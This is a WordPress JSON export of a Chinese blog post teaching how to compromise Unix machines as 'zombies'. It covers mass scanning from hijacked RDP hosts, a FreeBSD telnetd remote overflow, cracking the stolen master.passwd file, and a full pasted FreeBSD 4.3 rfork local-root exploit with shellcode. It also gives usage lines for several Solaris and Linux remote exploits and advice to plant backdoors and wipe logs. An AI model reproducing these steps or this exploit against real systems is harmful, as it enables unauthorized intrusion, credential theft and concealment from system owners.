﻿{"id":377,"date":"2009-11-03T17:56:11","date_gmt":"2009-11-03T17:56:11","guid":{"rendered":""},"modified":"2011-11-18T17:13:03","modified_gmt":"2011-11-18T09:13:03","slug":"377","status":"publish","type":"post","link":"http:\/\/zerobox.org\/notes\/377.html","title":{"rendered":"\u5982\u4f55\u5bfb\u627eunix\u8089\u9e21"},"content":{"rendered":"<p><span style=\"font-size: x-small;\">\u6587\u7ae0\u6765\u6e90\uff1a<a href=\"http:\/\/laoxiege.blog.sohu.com\">http:\/\/laoxiege.blog.sohu.com<\/a><\/span><\/p>\n<p><span style=\"font-size: x-small;\">\u4e3a\u4ec0\u4e48\u8bf4\u662f\u6211\u548cx-laser\u4e00\u8d77\u627e\u8089\u9e21\u5462\uff1f\u56e0\u4e3a\u6211\u4eec\u7684\u4e00\u5207\u64cd\u4f5c\u5168\u90e8\u662f\u57283389\u8089\u9e21\u4e0a\u8fdb\u884c\u7684\u3002\u9996\u5148\u6211\u4eec\u90fd\u4e0a\u5230\u540c\u4e00\u4e2a\u7ec8\u7aef\uff0c(\u524d\u63d0:\u7ec8\u7aef\u662f\u5bf9\u65b9\u5f00\u7684,\u800c\u4e0d\u662f\u4f60\u81ea\u5df1\u505a\u7684,\u8fd9\u6837\u624d\u6709\u7ec8\u7aef\u670d\u52a1\u7ba1\u7406\u5668\u53ef\u7528)\u7136\u540e\u7528\u7ba1\u7406\u5de5\u5177\u4e2d\u7684\u7ec8\u7aef\u7ba1\u7406\u8fdb\u884cid\u5207\u6362(\u9009\u62e9\u7528\u6237\u8fdb\u884c\u8fde\u63a5)<br \/>\n<\/span><a href=\"http:\/\/1822.img.pp.sohu.com.cn\/images\/blog\/2009\/10\/30\/14\/24\/125533c2e1bg214.jpg\" target=\"_blank\"><span style=\"font-size: x-small;\"><img decoding=\"async\" style=\"display: block; margin: 0px auto 10px; text-align: center;\" src=\"http:\/\/1822.img.pp.sohu.com.cn\/images\/blog\/2009\/10\/30\/14\/24\/125533c2e1bg214.jpg\" alt=\"\" border=\"0\" \/><\/span><\/a><span style=\"font-size: x-small;\">\u8fd9\u6837\uff0c\u4e24\u4e2a\u4eba\u5c31\u53ef\u4ee5\u4e92\u76f8\u63a7\u5236\u5bf9\u65b9\u4e86\uff0c\u4e00\u4e3e\u4e00\u52a8\u90fd\u5f88\u6e05\u695a\uff0c\u8fd9\u79cd\u65b9\u6cd5\u5f88\u597d\uff0c\u5927\u5927\u63d0\u9ad8\u4e86\u6548\u7387\uff0c\u4e5f\u589e\u52a0\u4e86\u5165\u4fb5\u65f6\u7684\u4e50\u8da3\u3002\u5efa\u8bae\u5927\u5bb6\u63a8\u5e7f \uff1a\uff09<br \/>\n\u4e0b\u9762\u6211\u4eec\u5f00\u59cb\u5de5\u4f5c\u3002\u7531\u4e8e\u662f\u5728win\u4e0a\u641eunix\u7c7b\uff0c\u6240\u4ee5\u6211\u4eec\u6700\u597d\u8981\u6709\u5728win\u4e0a\u7528\u7684exploit\uff0c\u4ee5\u5f97\u5230\u7b2c\u4e00\u53f0unix\u8089\u9e21\u3002\u5173\u4e8e\u5728win\u4e0a\u7528\u7684exploits\u53ef\u4ee5\u7528cygwin\u7f16\u8bd1\uff08\u5728www.isfocus.com\uff09\u6709\u4e0b\u8f7d\u3002\u6216\u8005\u76f4\u63a5\u53bb\u5927\u9e70\u7684\u4e3b\u9875\uff08e4gle.org\uff09\u6216\u8005\u7ea2\u5ba2\u6280\u672f\u8054\u76df\uff08www.cnhonker.net\/old.php\uff09\u4e0b\u8f7d\uff0c\u6ce8\u610f\u4e86\uff0c\u8981\u4e00\u8d77\u4e0b\u90a3\u4e2acygwin1.dll\u7684\u6587\u4ef6\uff0c\u4e0d\u7136\u641e\u4e0d\u6210\u3002<br \/>\n\u73b0\u5728\u6211\u4eec\u8981\u505a\u7684\u662f\u627e\u51fa\u5927\u91cfunix\u7684\u8089\u9e21\uff0c\u7136\u540e\u518d\u53bb\u627e\u6f0f\u6d1e\uff0c\u4f46\u662f\u600e\u4e48\u627e\u5462\uff1f\u8fd9\u65f6\u5019\uff0c\u5c31\u8bf7\u51fa\u4e86\u6211\u4eec\u7684languard network scanner\uff0c\u5728\u505a\u4e86\u7b80\u5355\u7684\u8bbe\u7f6e\u8ba9\u4ed6\u8dd1\u7684\u5feb\u70b9\u540e\uff0c\u6211\u4eec\u5c31\u5f00\u59cb\u626b\u63cf<br \/>\n<\/span><a href=\"http:\/\/1802.img.pp.sohu.com.cn\/images\/blog\/2009\/10\/30\/14\/25\/1255340b8d1g215.jpg\" target=\"_blank\"><span style=\"font-size: x-small;\"><img decoding=\"async\" style=\"display: block; margin: 0px auto 10px; text-align: center;\" src=\"http:\/\/1802.img.pp.sohu.com.cn\/images\/blog\/2009\/10\/30\/14\/25\/1255340b8d1g215.jpg\" alt=\"\" border=\"0\" \/><\/span><\/a><span style=\"font-size: x-small;\">\u6211\u4eec\u770b\u5230\u6709\u4e00\u53f0freebsd\uff0c\u8fd9\u4e2a\u7cfb\u7edf\u6bd4\u8f83\u597d\u6b3a\u8d1f\uff0c\u56e0\u4e3a\u524d\u6bb5\u65f6\u95f4\u6709\u4e2a\u6cb8\u6cb8\u626c\u626c\u7684telnetd\u8fdc\u7a0b\u6ea2\u51fa\u6f0f\u6d1e\u3002\u5f53\u7136\u6211\u4eec\u4e5f\u53ef\u4ee5\u7528superscan\u6765\u5feb\u901f\u5224\u65ad\u64cd\u4f5c\u7cfb\u7edf.\u6211\u4eec\u7528superscan\u626b23\u7aef\u53e3,\u56e0\u4e3atelnet\u4e0a\u53bb\u4e00\u822c\u90fd\u6709banner,\u4ece\u800c\u5f97\u77e5\u64cd\u4f5c\u7cfb\u7edf\u7c7b\u578b.\u5982\u4e0b<\/span><a href=\"http:\/\/1812.img.pp.sohu.com.cn\/images\/blog\/2009\/10\/30\/14\/26\/12553461e7eg213.jpg\" target=\"_blank\"><span style=\"font-size: x-small;\"><img decoding=\"async\" style=\"display: block; margin: 0px auto 10px; text-align: center;\" src=\"http:\/\/1812.img.pp.sohu.com.cn\/images\/blog\/2009\/10\/30\/14\/26\/12553461e7eg213.jpg\" alt=\"\" border=\"0\" \/><\/span><\/a><span style=\"font-size: x-small;\">\u6211\u4eec\u626b\u5230\u4e86\u4e24\u53f0linux,\u2026.. ..#..\u2019\u662flinux\u7684\u5224\u65ad\u7b26.<br \/>\n\u2026\u2026..#..\u2019..$\u5219\u662fsunos\u7684\u5224\u65ad\u7b26,\u5982\u6b64\u7b49\u7b49,\u5927\u5bb6\u7528\u7528\u5c31\u6709\u7ecf\u9a8c\u4e86.<\/span><a href=\"http:\/\/1832.img.pp.sohu.com.cn\/images\/blog\/2009\/10\/30\/14\/27\/125533e58bbg214.jpg\" target=\"_blank\"><span style=\"font-size: x-small;\"><img decoding=\"async\" style=\"display: block; margin: 0px auto 10px; text-align: center;\" src=\"http:\/\/1832.img.pp.sohu.com.cn\/images\/blog\/2009\/10\/30\/14\/27\/125533e58bbg214.jpg\" alt=\"\" border=\"0\" \/><\/span><\/a><span style=\"font-size: x-small;\">\u8a00\u5f52\u6b63\u8f6c,\u6765\u770b\u6211\u4eec\u7684freebsd.\u6211\u4eec\u5728\u7ea2\u76df\u4e0b\u597dbsd.exe\u548ccygwin1.dll\u540e\uff0c\u5c31\u5f00\u59cb\u6ea2\u51fa\u4e86\u3002<\/span><\/p>\n<p>\u7531\u4e8e\u8981\u53d1\u900116M\u7684\u4e1c\u897f\uff0c\u6240\u4ee5\u53ef\u80fd\u4f1a\u6162\u70b9<br \/>\n\u7b49\u5230\u6210\u529f\u540e\uff0c\u4f1a\u51fa\u73b0 command \uff1f<br \/>\n\u8fd9\u662f\u8f93\u5165 id<br \/>\n\u53ef\u4ee5\u770b\u5230\u81ea\u5df1\u5df2\u7ecf\u6210\u4e3aroot\u4e86\u3002\u5f53\u7136\uff0c\u5927\u5bb6\u8fd8\u53ef\u4ee5\u628ashadow\u6293\u4e0b\u6765\uff0cbsd\u4e0b\u7684sh<br \/>\nadow\u6587\u4ef6\u662f\/etc\/master.passwd\uff0c\u7136\u540ejohn\u8dd1\u4e2a\u7528\u6237\u540d\u51fa\u6765\uff08\u5728www.xfocus.net\u6709john\u7684windows\u4e0b\u7684\u7248\u672c\u4e0b\u8f7d\uff0c\u4e5f\u662f\u7528cygwin\u7f16\u8bd1\u7684\uff09\uff0c\u518dtelnet\u4e0a\u53bb\uff0c\u5c31\u5f97\u5230\u4e86\u666e\u901a\u5e10\u53f7(\u56e0\u4e3aroot\u5e10\u53f7\u4e00\u822c\u6bd4\u8f83\u96be\u7834)\uff0c\u518d\u8fdb\u884c\u672c\u5730\u6ea2\u51fa\u3002\u4e3a\u4ec0\u4e48\u8981\u8fd9\u4e48\u9ebb\u70e6\u5462\uff1f\u56e0\u4e3a\u6211\u4eec\u8fdc\u7a0b\u5f97\u5230\u7684shell\u5f88\u591a\u90fd\u6ca1\u6709\u56de\u663e\uff0c\u6240\u4ee5\u4e0d\u65b9\u4fbf\u6dfb\u52a0\u5e10\u53f7\u3002\u4e00\u822c\u5728bsd\u4e0b\u6dfb\u52a0\u5e10\u53f7\u662f\u5728\/usr\/sbin\u4e0b\u6267\u884c.\/adduser \uff0c\u7136\u540e\u6309\u7740\u63d0\u793a\u505a\u5c31\u53ef\u4ee5\u4e86\uff0cbsd\u7cfb\u7edf\u5f88\u7a33\u5b9a\uff0c\u5f88\u591a\u5927\u578b\u7f51\u7ad9\u90fd\u662f\u7528\u8fd9\u4e2a\u5efa\u7ad9\uff0c\u6bd4\u5982\u7ea2\u76df\u3002\u672c\u5730\u6ea2\u51fa\u7684\u4ee3\u7801\u6211\u5728\u8fd9\u91cc\u8d34\u4e00\u4e0b<\/p>\n<p>?\u53d7\u5f71\u54cd\u7248\u672c\uff1a FreeBSD 4.3 4.2 4.1 4.0<\/p>\n<p align=\"left\"><span style=\"font-size: x-small;\">\u65e9\u671f\u7248\u672c\u4e5f\u8bb8\u53d7\u5f71\u54cd \u6d4b\u8bd5\u7a0b\u5e8f\u4f7f\u7528\u65b9\u6cd5\uff1a\u00a0<\/span><\/p>\n<p align=\"left\"><span style=\"font-size: x-small;\">netdemon%gcc -o vvbsd vvbsd.c netdemon%cp \/bin\/sh \/tmp netdemon%.\/vvbsd vvfreebsd. Written by Georgi Guninski shall jump to bfbffe71 child=61056 login: login: # done # \u3000\u3000<\/span><\/p>\n<p align=\"left\"><span style=\"font-size: x-small;\">\u53d1\u73b0 FreeBSD 4.3 \u5b58\u5728\u4e00\u4e2a\u8bbe\u8ba1\u4e0a\u7684\u6f0f\u6d1e\uff0c\u5b83\u5141\u8bb8\u7528\u6237\u5728\u5176\u5b83\u8fdb\u7a0b\u4e2d\u63d2\u5165 signal handlers\u3002<\/span><\/p>\n<p align=\"left\"><span style=\"font-size: x-small;\">\u9898\u51fa\u5728 rfork(RFPROC|RFSIGSHARE) \uff0c\u5982\u679c\u5b50\u8fdb\u7a0b exec() \u4e00\u4e2a setuid \u7a0b\u5e8f\uff0c\u7136\u540e\u7236\u8fdb\u7a0b\u8bbe\u7f6e\u4e00\u4e2a signal handlers\uff0c\u8fd9\u4e2a signal handlers \u5c06\u4f1a\u5728\u5b50\u8fdb\u7a0b\u4e2d\u88ab\u590d\u5236\u3002\u53d1\u9001\u4e00\u4e2a\u4fe1\u53f7\u7ed9\u5b50\u8fdb\u7a0b\u5c06\u80fd\u5bfc\u81f4 signal handlers \u88ab\u6267\u884c\u3002 \u5229\u7528\u6b64\u6f0f\u6d1e\uff0c\u672c\u5730\u653b\u51fb\u8005\u80fd\u53d6\u5f97 root \u6743\u9650\u3002 vvfreebsd.c\u00a0<\/span><\/p>\n<p>\u00a0\u00a0\u00a0 ???? \/* FreeBSD 4.3 local root exploit using shared signals. Written by Georgi Guninski http:\/\/www.guninski.com *\/ #include &lt;stdio.h&gt; #include &lt;signal.h&gt; #include &lt;unistd.h&gt; int vv1; #define MYSIG SIGINT \/\/exec &#8220;\/tm<br \/>\np\/sh&#8221;, shellcode gotten from the internet and modified unsigned char bsdshell[] = &#8220;x90x90x90x90x90x90x90x90&#8221; &#8220;x31xc0x50x50xb0xb7xcdx80&#8221; &#8220;x31xc0x50x50xb0x17xcdx80&#8221; &#8220;x31xc0x50x68x2fx2fx73x68x68x2f&#8221; &#8220;x74x6dx70x89xe3x50x53x50x54x53&#8221; &#8220;xb0x3bx50xcdx80x90x90x90&#8221;; typedef (*PROG)(); extern char **environ; int main(int ac,char **av) { int pid; \/\/(*(PROG)bsdshell)(); if(!(vv1=getenv(&#8220;vv&#8221;))) { setenv(&#8220;vv&#8221;,bsdshell,1); if(!execle(av[0],&#8221;vv&#8221;,NULL,environ)) { perror(&#8220;weird exec&#8221;); exit(1); } } printf(&#8220;vvfreebsd. Written by Georgi Guninski<br \/>\n&#8220;); printf(&#8220;shall jump to %x<br \/>\n&#8220;,vv1); if(!(pid=rfork(RFPROC|RFSIGSHARE))) { printf(&#8220;child=%d<br \/>\n&#8220;,getpid()); \/\/ \/usr\/bin\/login and rlogin work for me. ping gives nonsuid shell \/\/ if(!execl(&#8220;\/usr\/bin\/rlogin&#8221;,&#8221;rlogin&#8221;,&#8221;localhost&#8221;,0)) if(!execl(&#8220;\/usr\/bin\/login&#8221;,&#8221;login&#8221;,0)) { perror(&#8220;exec setuid failed&#8221;); exit(2); }; } sleep(2); signal(MYSIG,(sig_t)vv1); sleep(2); kill(pid,MYSIG); printf(&#8220;done<br \/>\n&#8221;<br \/>\n); while(42); }<\/p>\n<p align=\"left\"><span style=\"font-size: x-small;\">\/* www.xcode.tw.st \u6781\u7aef\u7f51\u7edc\u5b89\u5168\u5c0f\u7ec4 *\/<\/span><\/p>\n<p>\u53ef\u4ee5\u627e\u5230\u53ef\u5199\u7684\u5730\u65b9\uff0c\u7136\u540ecat &gt;vv.c \u56de\u8f66<br \/>\n(\u9f20\u6807\u53f3\u5065\u7c98\u8d34)<br \/>\nctrl + d\u4fdd\u5b58<br \/>\n$gcc \u2013o vv vv.c\u7f16\u8bd1(gcc\u5728solaris\u548caix\u7b49\u7cfb\u7edf\u4e0b\u53eb\u505acc)<br \/>\n$cp \/bin\/csh \/tmp<br \/>\n$.\/vv<br \/>\n\u8fd9\u6837\u5c31\u6267\u884c\u4e86,\u4e00\u822c\u53ef\u4ee5\u5f97\u5230root.\u6ce8\u610f\u7b2c\u4e8c\u53e5,\u8fd9\u662f\u4ee3\u7801\u7684\u9700\u8981<br \/>\n\u7136\u540e\u5c31\u53bbadduser\u7136\u540e\u518d\u653e\u4e00\u5806\u540e\u95e8\u4e0a\u53bb\u5427<br \/>\n\u51e0\u70b9\u8865\u5145:1.\u547d\u4ee4w\u67e5\u770b\u5f53\u524d\u54ea\u4e9b\u5728\u7ebf,\u8981\u662f\u770b\u89c1root\u5c31\u8981\u5c0f\u5fc3\u4e86 2<br \/>\n.Whereis gcc\u67e5\u770b\u88c5\u4e86gcc\u6ca1\u6709,whereis\u7684\u7528\u6cd5\u5f88\u7075\u6d3b<br \/>\n3\u5982\u679c\u6ca1\u88c5\u5c31\u9700\u8981\u628a\u7f16\u8bd1\u597d\u7684\u4f20\u4e0a\u53bb,\u6211\u4eec\u4e00\u822c\u662f\u7533\u8bf7\u4e00\u4e2aftp,\u7136\u540e\u7f16\u8bd1\u597d,\u4f20\u5230ftp\u4e0a,\u5728\u8ba9\u653b\u51fb\u7684\u673a\u5b50\u53bb\u4e0b\u8f7d(51.net\u7684\u865a\u62df\u4e3b\u673a\u5c31\u53ef\u4ee5\u5b8c\u6210\u8fd9\u9879\u4efb\u52a1)<br \/>\n4\u8bb0\u5f97\u6bcf\u6b21\u4e0a\u53bb\u8981\u7528wipe\u6e05\u7406\u8db3\u8ff9,wipe\u5728\u5c0f\u51e4\u5c45\u6709\u4e0b\u8f7d<br \/>\n&nbsp;<\/p>\n<p align=\"left\"><span style=\"font-size: x-small;\">\u53e6\u5916\u518d\u9644\u51e0\u79cd\u5e38\u89c1\u7684exploit\u7684\u7528\u6cd5<\/span><\/p>\n<p>\u76ee\u6807\u4e3b\u673a\u4e00\u5f8b\u7528128.0.0.1\u4ee3\u66ff\uff01 1 statdu[vdp]redhat6.xrpc status\u8fdc\u7a0b\u6ea2\u51fa\uff01<\/p>\n<p align=\"left\"><span style=\"font-size: x-small;\">\u6ea2\u51fa\u7a0b\u5e8f\uff1a statdx \u7528\u6cd5\uff1a<\/span><\/p>\n<p align=\"left\"><span style=\"font-size: x-small;\">.\/statdx -d 0 128.0.0.1\u6216\u8005 <\/span><\/p>\n<p align=\"left\"><span style=\"font-size: x-small;\">.\/statdx -d 1 128.0.0.1\u6216\u8005 <\/span><\/p>\n<p align=\"left\"><span style=\"font-size: x-small;\">.\/statdx -d 2 128.0.0.1<\/span><\/p>\n<p align=\"left\"><span style=\"font-size: x-small;\">2 sadmind[vdp]sun solaris sparc 2.6.2.7\u8fdc\u7a0b\u6ea2\u51fa <\/span><\/p>\n<p align=\"left\"><span style=\"font-size: x-small;\">\u6ea2\u51fa\u7a0b\u5e8f\uff1a sadmindxbrute \u7528\u6cd5 <\/span><\/p>\n<p align=\"left\"><span style=\"font-size: x-small;\">.\/sadmindxbrute (\u4e3b\u673a\u7c7b\u578b\u53c2\u6570) 128.0.0.1 \u4e3b\u673a\u53c2\u6570 1 x86 2.6 2 x86 7.0 3 sparc 2.6 4 sparc 7.0 3 ttdb[tcp]sun solaris 2.3 2.4 2.5 2.5.12.6\u8fdc\u7a0b\u6ea2\u51fa\u00a0<\/span><\/p>\n<p align=\"left\"><span style=\"font-size: x-small;\">\u6240\u7528\u7a0b\u5e8f ttds\uff08\u5df2\u7ecf\u6539\u540d\uff09\u6d41\u5149iv\u7684exploit\u5185\u53ef\u4ee5\u627e\u5230 <\/span><\/p>\n<p align=\"left\"><span style=\"font-size: x-small;\">\u7528\u6cd5\uff1a .\/ttds 128.0.0.1 80\uff08\u653b\u51fb\u65ad\u53e3\u8bbe\u7f6e\u4e3a80\uff09-v6 4 snmp[bdp]sun solaris sparc 7.0\/8.8\u8fdc\u7a0b\u6ea2\u51fa <\/span><\/p>\n<p align=\"left\"><span style=\"font-size: x-small;\">\u6240\u7528\u7a0b\u5e8f snmpxmid <\/span><\/p>\n<p align=\"left\"><span style=\"font-size: x-small;\">\u7528\u6cd5\uff1a .\/snmpxmid 128.0.0.1 -v 7 5 bind \u8fdc\u7a0b\u6ea2\u51fa <\/span><\/p>\n<p align=\"left\"><span style=\"font-size: x-small;\">\u7a0b\u5e8fbind <\/span><\/p>\n<p align=\"left\"><span style=\"font-size: x-small;\">\u7528\u6cd5\uff1a .\/bind 128.0.0.1 -e 6 irix\u7684telnet\u8fdc\u7a0b\u6ea2\u51fa\uff08\u8fd9\u4e2a\u53ef\u80fd\u7528\u6d41\u5149iv\u626b\u63cf\u4e0d\u5230\uff09 <\/span><\/p>\n<p align=\"left\"><span style=\"font-size: x-small;\">\u6240\u7528\u7a0b\u5e8ftelnetd <\/span><\/p>\n<p align=\"left\"><span style=\"font-size: x-small;\">\u7528\u6cd5\uff1a .\/telnetd 128.0.0.1 7 utofsd[vdp]bsd autofsd\u8fdc\u7a0b\u6ea2\u51fa,tcp 530 root shell <\/span><\/p>\n<p align=\"left\"><span style=\"font-size: x-small;\">\u6240\u7528\u7a0b\u5e8f utofsd <\/span><\/p>\n<p align=\"left\"><span style=\"font-size: x-small;\">\u7528\u6cd5\uff1a .\/utofsd 128.0.0.1 8 freebsd\u8fdc\u7a0b\u6ea2\u51fa <\/span><\/p>\n<p align=\"left\"><span style=\"font-size: x-small;\">\u8fd9\u4e2a\u53ef\u4ee5\u901a\u8fc7www.paching.net\/liumy\u5199\u7684bsd\u653b\u51fb\u7a0b\u5e8f\u5728winnt\u4e0b\u4f7f\u7528\u65b9\u6cd5 bsd 128.0.0.1 \u5176\u4ed6\u7684\u8fdc\u7a0b\u6ea2\u51fa\u7a0b\u5e8f\u4e5f\u4e0d\u9ebb\u70e6 \u4f60\u53ea\u8981\u628a\u7a0b\u5e8f\u7f16\u8bd1\u597d\u4e4b\u540e\u8f93\u5165 .\/\u7a0b\u5e8f\u540d &#8211;h\u5c31\u53ef\u4ee5\u770b\u5230\u5e2e\u52a9\u4e86\uff01<\/span><\/p>\n<p>\u00a0\u00a0 \u8865\u5145\u4e00\u70b9\uff0c\u5f88\u591a\u5199exploit\u7684\u725b\u4eba\u4e3a\u4e86\u8ba9\u81ea\u5df1\u7684exploit\u7ed9\u771f\u6b63\u7684\u9ed1\u5ba2\u7528\uff0c\u6545\u610f\u5728\u4ee3\u7801\u91cc\u653e\u4e86\u51e0\u4e2a\u9519\u8bef\uff0c\u6240\u4ee5\u5927\u5bb6\u8fd8\u662f\u8981\u5b66\u597d\u7f16\u7a0b\u7684\u8fd9\u6837,\u5c31\u53ef\u4ee5\u6839\u636egcc\u7f16\u8bd1\u5668\u7684\u9519\u8bef\u63d0\u793a\u628a\u9519\u8bef\u7684\u4ee3\u7801\u6539\u8fc7\u6765\u3002\u4eca\u5929\u6211\u4eec\u8bb2\u4e86\u600e\u6837\u627eunix\u7c7b\u8089\u9e21,\u5f53\u7136\u8fd8\u662f\u8981\u770b\u8fd0\u6c14,\u4e0d\u8fc7\u6211\u548cx-laser\u57283389\u8089\u9e21\u626b\u63cf\u5f88\u75af\u72c2,\u7528superscan\u4e00\u6b21\u4e00\u822c\u662f\u626b255\u4e2ac\u6bb5\u7528languard\u4e5f\u626b\u7684\u5f88\u591a,\u6240\u4ee5\u5efa\u8bae\u5927\u5bb6\u591a\u591a\u5b9e\u8df5.\u6700\u540e,\u5949\u529d\u4e00\u53e5,\u4e0d\u8981\u5165\u4fb5\u56fd\u5185,\u4e0d\u8981\u641e\u7834\u574f!<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u6587\u7ae0\u6765\u6e90\uff1ahttp:\/\/laoxiege.blog.sohu.com \u4e3a\u4ec0\u4e48\u8bf4\u662f &hellip;<\/p>\n<p class=\"read-more\"><a href=\"http:\/\/zerobox.org\/notes\/377.html\">\u7ee7\u7eed\u9605\u8bfb &raquo;<\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[76],"class_list":["post-377","post","type-post","status-publish","format-standard","hentry","tag-unix"],"views":931,"_links":{"self":[{"href":"http:\/\/zerobox.org\/notes\/wp-json\/wp\/v2\/posts\/377","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/zerobox.org\/notes\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/zerobox.org\/notes\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/zerobox.org\/notes\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/zerobox.org\/notes\/wp-json\/wp\/v2\/comments?post=377"}],"version-history":[{"count":0,"href":"http:\/\/zerobox.org\/notes\/wp-json\/wp\/v2\/posts\/377\/revisions"}],"wp:attachment":[{"href":"http:\/\/zerobox.org\/notes\/wp-json\/wp\/v2\/media?parent=377"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/zerobox.org\/notes\/wp-json\/wp\/v2\/categories?post=377"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/zerobox.org\/notes\/wp-json\/wp\/v2\/tags?post=377"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}